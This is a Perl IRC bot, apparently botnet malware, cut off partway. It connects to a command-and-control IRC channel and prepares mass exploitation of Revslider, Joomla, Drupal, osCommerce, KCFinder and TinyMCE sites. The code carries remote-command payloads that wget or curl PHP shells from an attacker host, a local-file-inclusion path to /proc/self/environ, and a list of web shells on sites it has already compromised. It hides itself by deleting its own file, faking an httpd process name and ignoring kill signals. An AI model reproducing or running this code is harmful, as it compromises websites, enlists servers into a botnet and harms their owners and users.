#!/usr/bin/perl
use HTTP::Request;
use HTTP::Request::Common;
use HTTP::Request::Common qw(POST);
use LWP::Simple;
use LWP 5.64;
use LWP::UserAgent;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use IO::Select;
use MIME::Base64;
use URI::Escape;
use Digest::MD5 qw(md5_hex);
#use DBI;
my $number = int( rand(100) );
my $datetime = localtime;
my $fakeproc = "/usr/sbin/httpd";
my $ircserver = "irc.rindu.69.mu";
#my $ircserver = "irc.rindu.69.mu";
my $ircport = "6669";
my $nickname = "drups[".$number."]";
my $ident = "root";
my $channel = "#scans";
my $chanxxx = "#pHp";
my $admin = "sEm";
my $fullname = "4,1o8w14n11:D";
my $rawmsg = $ARGV[4];
my $msgraw = $ARGV[5];
my $nob0dy = "4,1Revolt8OWN14PRIVATE112015";
my $revlogo = "4,1[8+4]11Revslider 4<9=4>9";
my $jomlogo = "4,1[8+4]11joomla 4<9=4>9";
my $drupallogo = "4,1[8+4]11Priv8 4<9=4>9";
my $hwdlogo = "4,1[8+4]11Priv8 4<9=4>9";
my $osclogo = "4,1[8+4]11OSCO 4<9=4>9";
my $zenlogo = "4,1[8+4]11ZENCART 4<9=4>9";
my $kcflogo = "4,1[8+4]11TEST 4<9=4>9";
my $cfxlogo = "4,1[8+4]11CFX 4<9=4>9";
my $tinylogo = "4,1[8+4]11TINY 4<9=4>9";
my $revcmd = "!re".$number;
my $jomcmd = "!jo".$number;
my $drcmd = "!d".$number;
my $hwdcmd = "!hwd".$number;
my $osccmd = "!os".$number;
my $kcfcmd = "!k".$number;
my $cfxcmd = "!cf".$number;
my $tinycmd = "!tn".$number;
#my $ftpcmd = "!cek".$number;
my $timot = 10;
my $zip = "revslider.zip";
my $upl = "$zip";
my $ngilang = "rm -rf";
qx($ngilang $0);
my $silentmode = 1;
my $osc_shell = "fod.php";
my $kcf_shell = "xtp.php.jd";
my $tiny_shell = "ddd.php";
my $osc_bot = "http://sum.onlinezosit.sk/perl.txt";
my $rceinjector = "picasa.com.bidding.in.th/end.php";
my $rceinjector2 = "picasa.com.bidding.in.th/petx.php";
my $arbitrary = "picasa.com.bidding.in.th/cpx.php";
my $hostinjector = "picasa.com.bidding.in.th";
my $thumbid = "http://".$hostinjector."/petx.php";
my $thumbidx = "http://".$hostinjector."/cpx.php";
my $md5php = md5_hex($thumbid).".php";
my $md5cps = md5_hex($thumbidx).".php";
my $timid = uri_escape($thumbid);
my $timidx = uri_escape($thumbidx);
my $wgetdon = "?cmd=wget%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;wget%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;wget%20http%3A%2F%2F".$hostinjector."%2Fmagic.php";
my $lwpdon = "?cmd=lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;lwp-download%20-a%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
my $curldon = "?cmd=curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fmagic.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fbtx.php;curl%20-C%20-%20-O%20http%3A%2F%2F".$hostinjector."%2Fcpx.php";
my @uagents = ( "Microsoft Internet Explorer/4.0b1 (Windows 95)","Mozilla/1.22 (compatible; MSIE 1.5; Windows NT)","Mozilla/1.22 (compatible; MSIE 2.0; Windows 95)","Mozilla/2.0 (compatible; MSIE 3.01; Windows 98)","Mozilla/4.0 (compatible; MSIE 5.0; SunOS 5.9 sun4u; X11)","Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)","Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0)","Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 5.1)","Mozilla/4.0 (compatible; MSIE 7.0b; Win32)","Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)","Microsoft Pocket Internet Explorer/0.6","Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320)","MOT-MPx220/1.400 Mozilla/4.0 (compatible; MSIE 4.01; Windows CE; Smartphone;","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.1; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.2; Windows NT 5.1;)","Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)","Advanced Browser (http://www.avantbrowser.com)","Avant Browser (http://www.avantbrowser.com)","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)","Mozilla/5.0 (compatible; Konqueror/3.1-rc3; i686 Linux; 20020515)","Mozilla/5.0 (compatible; Konqueror/3.1; Linux 2.4.22-10mdk; X11; i686; fr, fr_FR)","Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511","Mozilla/5.0 (X11; U; Linux i686; cs-CZ; rv:1.7.12) Gecko/20050929","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl-NL; rv:1.7.5) Gecko/20041202 Firefox/1.0","Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.7.6) Gecko/20050512 Firefox","Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.8) Gecko/20050609 Firefox/1.0.4","Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10) Gecko/20050716 Firefox/1.0.6","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-GB; rv:1.7.10) Gecko/20050717 Firefox/1.0.6","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.12) Gecko/20050915 Firefox/1.0.7","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4","Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8) Gecko/20051107 Firefox/1.5","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1","Mozilla/5.0 (BeOS; U; BeOS BePC; en-US; rv:1.9a1) Gecko/20051002 Firefox/1.6a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1b2) Gecko/20060710 Firefox/2.0b2","Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1) Gecko/20060918 Firefox/2.0","Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20051219 SeaMonkey/1.0b","Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0","Mozilla/3.0 (OS/2; U)","Mozilla/3.0 (X11; I; SunOS 5.4 sun4m)","Mozilla/4.61 (Macintosh; I; PPC)","Mozilla/4.61 [en] (OS/2; U)","Mozilla/4.7C-CCK-MCD {C-UDP; EBM-APPLE} (Macintosh; I; PPC)","Mozilla/4.8 [en] (Windows NT 5.0; U)");
my $lfdtest = "../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ%0000";
my $jpath = "?____pgfa=https%253A%252F%252Fwww.google.com%252Fsearch?q=";
my $jpath1 = "https%253A%252F%252Fwww.google.com%252Fsearch?q=";
my @pgfas = ( "https%3A%2F%2Fwww.google.com%2Fsearch?q=","https%3A%2F%2Fwww.google.de%2Fsearch?q=","https%3A%2F%2Fwww.google.co.uk%2Fsearch?q=","https%3A%2F%2Fwww.google.com.my%2Fsearch?q=","https%3A%2F%2Fwww.google.com.sg%2Fsearch?q=","https%3A%2F%2Fwww.google.ru%2Fsearch?q=","https%3A%2F%2Fwww.google.ro%2Fsearch?q=","https%3A%2F%2Fwww.google.de%2Fsearch?q=","https%3A%2F%2Fwww.google.ca%2Fsearch?q=","https%3A%2F%2Fwww.google.fr%2Fsearch?q=","https%3A%2F%2Fwww.google.co.id%2Fsearch?q=","https%3A%2F%2Fwww.google.ru%2Fsearch?q=","https%3A%2F%2Fwww.google.fr%2Fsearch?q=","https%3A%2F%2Fwww.google.de%2Fsearch?q=","https%3A%2F%2Fwww.google.com%2Fsearch?q=","https%3A%2F%2Fwww.google.com.my%2Fsearch?q=","https%3A%2F%2Fwww.google.com.br%2Fsearch?q=","https%3A%2F%2Fwww.google.com.br%2Fsearch?q=","https%3A%2F%2Fwww.google.co.uk%2Fsearch?q=","https%3A%2F%2Fwww.google.ne%2Fsearch?q=","https%3A%2F%2Fwww.google.co.mz%2Fsearch?q=","https%3A%2F%2Fwww.google.com.sg%2Fsearch?q=","https%3A%2F%2Fwww.google.com.mx%2Fsearch?q=","https%3A%2F%2Fwww.google.com.mx%2Fsearch?q=","https%3A%2F%2Fwww.google.de%2Fsearch?q=","https%3A%2F%2Fwww.google.ru%2Fsearch?q=","https%3A%2F%2Fwww.google.ro%2Fsearch?q=","https%3A%2F%2Fwww.google.co.id%2Fsearch?q=","https%3A%2F%2Fwww.google.at%2Fsearch?q=","https%3A%2F%2Fwww.google.nl%2Fsearch?q=");
my @random = ("http://produkcja.rolnicy.com//components/com_wrapper/errors.php",
"http://sellallmyideas.com/errors.php",
"http://greenpowerguy.com/blog/wp-content/themes/error.php",
"http://bioenfapesp.org/media/mailto/error.php",
"http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php",
"http://www.yplittleport.org.uk/media/system/config.index.php",
"http://www.pessebristassumpcio.com/wp-includes/error.php",
"http://www.cchm.ca/components/com_mailto/error.php",
"http://www.austriasport.nl/wp-includes/errors.php",
"http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php",
"http://exhibcouples.fr/errors.php",
"http://ivanous.free.fr/camu_s_world/images/stories/jump.php",
"http://citizenofburma.org//plugins/content/errors.php",
"http://treboliberica.com/includes/errors.php",
"http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php",
"http://centralcaixas.com/mdf/errors.php",
"http://ecom.wilburhuang.com/errors.php",
"http://pastorbonus.sk/errors.php",
"http://www.thermona-ekb.ru/errors.php",
"http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php",
"http://gdthuyphuong.free.fr//includes/errors.php",
"http://interminas.ddns.net/errors.php",
"http://www.thai-orchidea.cz/modules/mod_login/error.php",
"http://www.gambinigroup.it/media/mailto/error.php",
"http://shardha.in/errors.php",
"http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php",
"http://politics.cnm.com.pt/errors.php",
"http://imotionasia.com.vn/errors.php",
"http://tsat-dashboard.com/videocache/bypass.php",
"http://www.mirabalcenter.org//errors.php",
"http://www.bendit.co/backside/media/mailto/error.php",
"http://www.zsp.karpacz.pl//libraries/joomla/document/index.php",
"http://automarket-fortuna.ru/errors.php",
"http://virtual-aerospace.co.jp//errors.php",
"http://www.pricepaving.com//wp-includes/js/plupload/index.php",
"https://gpscsomagok.hu/skin/bypass.php",
"http://www.studio-aid.it//libraries/joomla/database/index.php",
"http://hoponhopoff.ge//errors.php",
"http://metroway.com/wp-includes/ID3/proxy.php",
"http://chaoscollective.in/administrator/components/com_weblinks/views/errors.php",
"http://www.cannell-immobilier.com/errors.php",
"http://www.alexgretter.com/google.php",
"http://www.photodesign.uncanny.cz/images/error.php",
"http://sufbellman.dk/media/error.php",
"http://turkishonline.ru//media/system/js/error.php",
"http://virtual-aerospace.co.jp/errors.php",
"http://www.shturmovoi.ru/components/com_mailto/error.php",
"http://www.rateavon.je/error.php",
"http://circuitec.com.br/errors.php",
"http://pngk.kz/media/media/css/index.php",
"http://www.mariobabiera.com/google.php",
"http://www.alvestaguesthouse.co.za/wp-content/themes/welcome_inn/cache/pro.php",
"http://king-solarman.com/skin/adminhtml/base/error.php",
"http://www.acdt-manutention.fr/errors.php",
"http://www.ares-asesores.com/ares/wp-content/languages/error.php",
"http://pnpdistribuidora.com.br//erros/errors.php",
"http://clinicavanity.com.br/2012/wp-includes/error.php",
"http://www.imc-egypt.org//cli/error.php",
"http://pnpdistribuidora.com.br//errors.php",
"http://www.karpet.cz/media/system/js/jquery.php",
"http://representacoesdasa.com.br/wp-admin/errors.php",
"http://ajansfestival.com/wp-admin/user/error.php",
"https://www.cloudipalarm.nl/wp-content/plugins/revslider/temp/errors.php",
"http://gaysm.pl/flash/modules/global/js/errors.php",
"http://www.pece.com.my/2014/wp-content/themes/Avada/framework/error.php",
"http://tricotrico.com/wp-includes/error.php",
"http://printfastt.com.br/errors.php",
"http://www.gramophoneshop.nl/webshop//skin/frontend/default/errors.php",
"http://www.skipperdean.com//media/errors.php",
"http://prweb.com.sg/maimee/errors.php",
"http://cmtactical.com//skin/install/default/default/errors.php",
"https://www.aavamobile.com/modules/mod_search/index.php",
"http://donghohanghieu.diemnhan.net//errors.php",
"http://www.internetrights.in/wp-content/plugins/contact-form-7/images/service-icons/errors.php",
"http://www.copati.org.br//images/jdownloads/screenshots/thumbnails/errors.php",
"http://lexiquedumanagement.com//components/com_alphacontent/assets/phpThumb/errors.php",
"http://sellallmyideas.com/errors.php",
"http://www.cchm.ca/components/com_mailto/error.php",
"http://www.gambinigroup.it/media/mailto/error.php",
"http://politics.cnm.com.pt/errors.php",
"http://www.thermona-ekb.ru/errors.php",
"http://www.thai-orchidea.cz/modules/mod_login/error.php",
"http://ivanous.free.fr/camu_s_world/images/stories/jump.php",
"http://interminas.ddns.net/errors.php",
"http://www.thermona-ekb.ru/errors.php",
"http://imotionasia.com.vn/errors.php",
"http://bioenfapesp.org/media/mailto/error.php",
"http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php",
"http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php",
"http://www.yplittleport.org.uk/media/system/config.index.php",
"http://greenpowerguy.com/blog/wp-content/themes/error.php",
"http://ivanous.free.fr/camu_s_world/images/stories/jump.php",
"http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php",
"http://www.pessebristassumpcio.com/wp-includes/error.php",
"http://www.thai-orchidea.cz/modules/mod_login/error.php",
"http://www.flowershop-neo.com/wp-includes/error.php",
"http://exhibcouples.fr/errors.php",
"http://iheld.com/errors.php",
"http://www.kathleenferrari.com/errors.php",
"http://pastorbonus.sk/errors.php",
"http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php",
"http://treboliberica.com/includes/errors.php",
"http://www.thermona-ekb.ru/errors.php",
"http://imotionasia.com.vn/errors.php",
"http://bioenfapesp.org/media/mailto/error.php",
"http://www.cchm.ca/components/com_mailto/error.php",
"http://www.gambinigroup.it/media/mailto/error.php",
"http://politics.cnm.com.pt/errors.php",
"http://www.thermona-ekb.ru/errors.php",
"http://www.thai-orchidea.cz/modules/mod_login/error.php",
"http://www.bendit.co/backside/media/mailto/error.php",
"http://greenpowerguy.com/blog/wp-content/themes/error.php",
"http://candidfeet.org/clip//admin_area/charts/tmp-upload-images/error.php",
"http://cichlid77.free.fr/errors.php",
"http://www.liftmaxthailand.com/downloader/template/errors.php",
"http://www.petcubes.com.sg/downloader/Maged/Connect/options-header.php",
"http://www.liftmaxthailand.com/js/options-header.php",
"http://fifacompet.free.fr/components/com_joomleague/assets/errors.php",
"http://www.avzootice.cz/includes/js/index2.php",
"http://gentleheart.cz/includes/js/index2.php",
"http://www.voyage-cambodge.org//images/banners/error.php",
"http://www.bam.co.th/bam/corporate/xmlrpc/index2.php",
"http://imotionasia.com.vn/errors.php",
"http://www.thermona-ekb.ru/errors.php",
"http://www.ursaminorvehicles.com/errors/default/css/error.php",
"http://patachou.com/js/lib/search.php",
"http://www.mypgmee.com/media/catalog/product/2/error.php",
"http://sales.luxxeen.com/errors/default/css/error.php",
"http://www.exhibcouples.fr/errors.php",
"http://chapmancycles.com/wp-admin/edit-link.php",
"http://bioenfapesp.org/media/mailto/error.php",
"http://pngk.kz//logs/errors.php",
"http://adoma.sk/errors.php",
"http://www.veterinaigle.ch//media/errors.php",
"http://king-solarman.com/skin/adminhtml/base/error.php",
"http://www.techlane.com.sg/errors.php",
"http://www.alvestaguesthouse.co.za/wp-content/themes/welcome_inn/cache/pro.php",
"http://www.karpet.cz/media/system/js/jquery.php",
"http://godreamsleepingbag.com/errors.php",
"http://www.thaihospitalbed.com/var/locks/error.php",
"http://www.windfellows.org//plugins/editors/rokpad/error.php",
"http://www.telsonet.pl/errors.php",
"http://www.gambinigroup.it/media/mailto/error.php",
"http://www.alexgretter.com/google.php",
"http://www.cannell-immobilier.com/errors.php",
"http://www.photodesign.uncanny.cz/images/error.php",
"http://circuitec.com.br/errors.php",
"http://sufbellman.dk/media/error.php",
"http://www.mariobabiera.com/google.php",
"http://virtual-aerospace.co.jp/errors.php",
"http://pastorbonus.sk/errors.php",
"http://metroway.com/wp-includes/ID3/proxy.php",
"http://iheld.com/errors.php",
"http://printfastt.com.br/errors.php",
"http://pngk.kz/media/media/css/index.php",
"http://www.yplittleport.org.uk/media/system/config.index.php",
"http://www.shturmovoi.ru/components/com_mailto/error.php",
"http://www.tkofschip.be/joomlasites/ankerintranet5/plugins/content/config.index.php",
"http://blizzsozz.com/errors.php",
"http://www.cchm.ca/components/com_mailto/error.php",
"http://turkishonline.ru//media/system/js/error.php",
"http://chaoscollective.in/administrator/components/com_weblinks/views/errors.php",
"http://www.mirabalcenter.org//errors.php",
"http://www.pessebristassumpcio.com/wp-includes/error.php",
"http://ivanous.free.fr/camu_s_world/images/stories/jump.php",
"http://www.pricepaving.com//wp-includes/js/plupload/index.php",
"http://www.corteganamedieval.com/components/com_content/views/section/tmpl/page-sidebar.php",
"http://www.zsp.karpacz.pl//libraries/joomla/document/index.php",
"http://www.studio-aid.it//libraries/joomla/database/index.php",
"http://www.immobilienparaguay.com.py//templates/error.php",
"http://belarus-theatre.net/error.php",
"http://www.decret-pinel.fr/wp-includes/error.php",
"http://howfarbooks.com//images/stories/errors.php",
"http://politics.cnm.com.pt/errors.php",
"http://www.thai-orchidea.cz/modules/mod_login/error.php",
"http://interminas.ddns.net/errors.php",
"http://bigbananawatch.com/wp-content/themes/bigbananawatch/error.php",
"http://www.flowershop-neo.com/wp-includes/error.php",
"http://exhibcouples.fr/errors.php",
"http://www.kathleenferrari.com/errors.php",
"http://hlmais.com.br/mundo/wp-content/themes/twentyten/error.php",
"http://treboliberica.com/includes/errors.php",
"http://australiansuperaudit.com.au/errors.php",
"http://austriasport.nl/wp-includes/errors.php",
"http://www.conac.cl/errors.php",
"http://www.sci.kmutnb.ac.th/web/components/com_mailto/error.php",
"http://beghellichina.com//media/system/js/error.php",
"http://www.iek.kol.pl//media/system/css/error.php",
"http://www.esteticaraffinata.com.br/errors.php",
"http://www.ibi.edu.au/includes/error.php",
"http://www.omacmortgages.ie/error.php",
"http://madmanslay.free.fr/administrator/components/com_content/views/element/errors.php",
"http://www.jourdets.com/piwik/libs/open-flash-chart/tmp-upload-images/error.php",
"http://clinicavanity.com.br/2012/wp-includes/error.php",
"http://www.bigswedestudios.com/errors.php",
"http://www.isidarbink.lt/errors.php",
"http://www.mypgmee.com/media/catalog/product/2/search.php",
"http://www.pastryideas.gr/skin/frontend/search.php",
"http://www.lafutbolera.net/images/error.php",
"http://www.pece.com.my/2014/wp-content/themes/Avada/framework/error.php",
"http://www.ares-asesores.com/ares/wp-content/languages/error.php",
"http://member.marketingbodz.com/error.php",
"http://www.oldfashionedman.com/errors.php",
"citizenofburma.org//plugins/content/errors.php",
"http://choir.louwanjpoujezi.org//plugins/content/errors.php",
"http://gdthuyphuong.free.fr//includes/errors.php",
"http://ecom.wilburhuang.com/errors.php",
"http://centralcaixas.com/mdf/errors.php",
"http://shardha.in/errors.php",
"http://automarket-fortuna.ru/errors.php",
"http://tsat-dashboard.com/videocache/bypass.php",
"https://gpscsomagok.hu/skin/bypass.php",
"http://hoponhopoff.ge//errors.php",
"http://virtual-aerospace.co.jp//errors.php",
"http://www.atopsuccess.com//plugins/editors/error.php",
"http://www.rateavon.je/error.php",
"http://hoponhopoff.ge/errors.php",
"http://directproducts.co.zw/errors.php",
"http://www.acdt-manutention.fr/errors.php",
"http://www.semneartemis.ro/images/errors.php",
"http://pnpdistribuidora.com.br//erros/errors.php",
"http://www.imc-egypt.org//cli/error.php",
"http://pnpdistribuidora.com.br//errors.php",
"http://feinzer.com/store/skin/adminhtml/default/default/errors.php",
"http://www.vaishnomotors.com/skin/adminhtml/default/default/errors.php",
"http://magento.progressive.itembridge.com/v8/errors/default/errors.php",
"http://www.flowerswithdevotion.com.au/skin/adminhtml/default/default/errors.php",
"http://www.promedyk.eu/errors.php",
"http://studio.sk/js/errors.php",
"http://webshop.sport.be/magento/js/errors.php",
"http://canopy4u.com.au/js/errors.php",
"http://www.masaken.com.tr/js/errors.php",
"http://www.dolceduo.com.br/loja/js/errors.php",
"http://www.thiepcuoingocanh.com/admin/webroot/upload/errors.php",
"http://ongnhapkhau.vn/admin/webroot/upload/errors.php",
"http://www.aromaspahanoi.com/app/webroot/files/errors.php",
"http://www.tuixachanhbinh.com/upload/errors.php",
"https://innhanviet.com/cache/errors.php",
"http://www.sanphaminox.vn/admin/webroot/cache/errors.php",
"http://chungcutrungdong.com/cache/errors.php",
"http://sikachongtham.com.vn/app/webroot/files/errors.php",
"http://trakimtuong.vn/admin/webroot/cache/errors.php",
"http://duhocnhatbantrinhat.com/admin/webroot/img/errors.php",
"http://honda-oto-binhduong.com/upload/files/errors.php",
"http://thuanthang.com.vn/cache/log/errors.php");
my $proxy = $random[rand(scalar(@random))];
my $engine = "UAE,Myanmar,Argentina,Austria,Australia,Brazil,Canada,Chili,CoMersil,Czech,Germany,Denmark,Spain,Europe,France,Hungary,Indonesia,Israel,India,Info,Iran,Italy,Japan,Korea,Mexico,Malaysia,Network,Netherlands,Organization,Philippines,Polan,Romania,Russian,Thailand,Ukraine,England,USA,Slovenia,Belgium,Bussines,SouthAfrica,Vietnam,Tuvalu,Cocos,Turky,Asia,Serbia,Singapore,Taiwan,Sweden,Pakistan,Norway,Montenegro,Greece,Education,Goverment,Kazakhstan,Afganistan,Albania,Algeria,Angola,Armenia,Azerbaijan,Bahrain,Bangladesh,Belarus,Bhutan,Bolivia,Bosnia,Bulgaria,Brunei,Cambodia,Cameroon,Christmas,CostaRika,Croatia,Cuba,Cyprus,Dominican,Equador,Egypt,Estonia,Finland,Georgia,Ghana,Grenada,Honduras,Hongkong,Iceland,Ireland,Kenya,Kuwait,Laos,Latvia,Liberia,Libyan,Lithuania,Macedonia,Malta,Mongolia,Mozambique,Namibia,Nauru,Nepal,NewZealand,Nigeria,Paraguay,Peru,Portugal,PuertoRico,Qatar,SaintLucia,Samoa,SaudiArabia,Senegal,Slovakia,Srilanka,Swaziland,Tajikistan,Tanzania,Tokelau,Tonga,Tunisia,Uruguay,Uzbekistan,Venezuela,Yemen,Yugoslavia,Zambia,Uganda,Trinidad,Zimbabwe,ae,ar,at,au,by,br,ca,cl,cn,cz,de,dk,es,eu,fr,hu,id,il,in,it,jp,kr,mx,my,nl,ph,pl,ro,ru,th,ua,uk,us,si,be,tv,cc,as,ai,ag,az,bh,bd,bz,bo,ba,vg,bg,bi,co,cd,cg,ck,cr,hr,cu,ci,dj,dm,do,ec,eg,sv,ee,et,fj,fi,gm,gi,gr,gl,gt,gg,ht,hn,hk,is,ie,im,je,jo,kz,ke,ir,vn,kg,lv,ls,ly,li,lt,lu,mw,mt,mu,fm,mn,ms,ma,na,np,nz,ni,nf,no,om,pk,pa,py,pe,pn,pt,pr,qa,rw,sh,sm,sa,sn,sc,sg,sk,za,lk,vc,se,ch,tw,tj,bs,to,tt,tr,tm,vi,ug,uy,uz,ve,vm,zm,ws,af,ax,al,dz,ao,aq,am,aw,ac,bj,bm,bt,bw,io,bn,bf,kh,cm,cv,ky,cf,cx,cw,cy,fk,fo,gh,gd,gp,gu,gn,gy,hm,iq,jm,ki,kw,la,lb,lr,mo,mg,mv,mp,mq,mr,yt,md,mc,me,mz,nr,nc,ng,nu,pw,ps,cq,re,lc,pm,st,rs,gs,sl,sx,sb,so,su,kn,sr,tz,tl,tg,tk,tn,tc,vu,wf,ye,zw,com,net,org,biz,xxx,tel,mil,pro,edu,gov,cat,info,asia,name,jobs,mobi,aero,coop,travel,searchnz,WaLLa,GooGle,GooGleCA,GooGleDE,GooGleUK,GooGleFR,GooGleES,GooGleIT,GooGleNL,GooGleBE,GooGleCH,GooGleSE,GooGleDK,GooGleNO,GooGleNZ,GooGleIE,GooGleBR,GooGleAR,GooGleCO,GooGleCU,GooGleCL,GooGleMX,GooGleAU,GooGleRU,GooGleAT,GooGlePL,GooGleIL,GooGleTR,GooGleUA,GooGleGR,GooGleJP,GooGleCN,GooGleMY,GooGleTH,GooGleIN,GooGleKR,GooGleRO,GooGleTW,GooGleZA,GooGlePT,GooGleID,GooGleKE,GooGleEC,GooGleVN,GooGleZM,GooGlePH,GooGleBY,GooGleSG, GooGleBG,GooGleKZ,GooGleMA,GooGleEE,GooGleNU,GooGleLI,GooGleSA,GooGleMU,GooGleMK,GooGleAM,GooGleBO,GooGleCY,GooGleLU,GooGlePR,GooGlePE,GooGleMZ,GooGleET,GooGleAS,GooGleAI,GooGleBA,GooGleCG,GooGleDM,GooGleGT,GooGleFJ,GooGleAF,GooGleAG,GooGleAO,GooGleAZ,GooGleBD,GooGleBF,GooGleBH,GooGleBI,GooGleBJ,GooGleBN,GooGleBW,GooGleBZ,WaLLa,YaHoo,YahOoCA,YahOoUK,YahOoDE,YahOoFR,YahOoES,YahOoIT,YahOoHK,YahOoID,YahOoIN,YahOoAU,YahOoMX,YahOoTW,YahOoBR,YahOoAR,YahOoNL,YahOoDK,YahOoPH,YahOoCL,YahOoRU,YahOoCH,YahOoCO,YahOoFI,YahOoRO,YahOoVE,YahOoAT,YahOoPL,YahOoKR,YahOoNZ,YahOoGR,YahOoPE,AsK,AsKCA,AsKDE,AsKIT,AsKUK,AsKFR,AsKES,AsKRU,AsKNL,AsKEU,AsKPL,AsKAT,AsKSE,AsKDK,AsKNO,AsKAU,AsKBR,AsKMX,AsKJP,Bing,BingDE,BingUK,BingCA,BingBR,BingFR,BingES,BingIT,BingBE,BingNL,BingPT,BingNO,BingDK,BingSE,BingCH,BingNZ,BingRU,BingJP,BingCN,BingKR,BingMX,BingAR,BingCL,BingAU,UoL,OnEt,CLusTy,SaPo,AoL,LyCos,HotBot,SeZNam,BigLobe";
my @jpaths = ('/administrator/components/com_civicrm/civicrm/packages/OpenFlashChart',
'/administrator/components/com_acymailing/inc/openflash',
'/administrator/components/com_jnewsletter/includes/openflashchart',
'/administrator/components/com_jinc/classes/graphics',
'/administrator/components/com_maianmedia/utilities/charts',
'/administrator/components/com_jnews/includes/openflashchart');
my $jvuln = "/php-ofc-library/ofc_upload_image.php";
my $jshell = "/tmp-upload-images/lobex21.php";
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
#chdir("/tmp");
#chop (my $priper = `wget http://192.165.67.149/tests/revslider.zip;killall -9 sh;history -c`);
$ircserver = "$ARGV[0]" if $ARGV[0];
$ircport = "$ARGV[1]" if $ARGV[1];
$nickname = "$ARGV[2]" if $ARGV[2];
$channel = '#'."$ARGV[3]" if $ARGV[3];
$0 = "$fakeproc"."\0" x 16;
my $pid = fork;
exit if $pid;
die "\n[!] Something Wrong !!!: $!\n\n" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
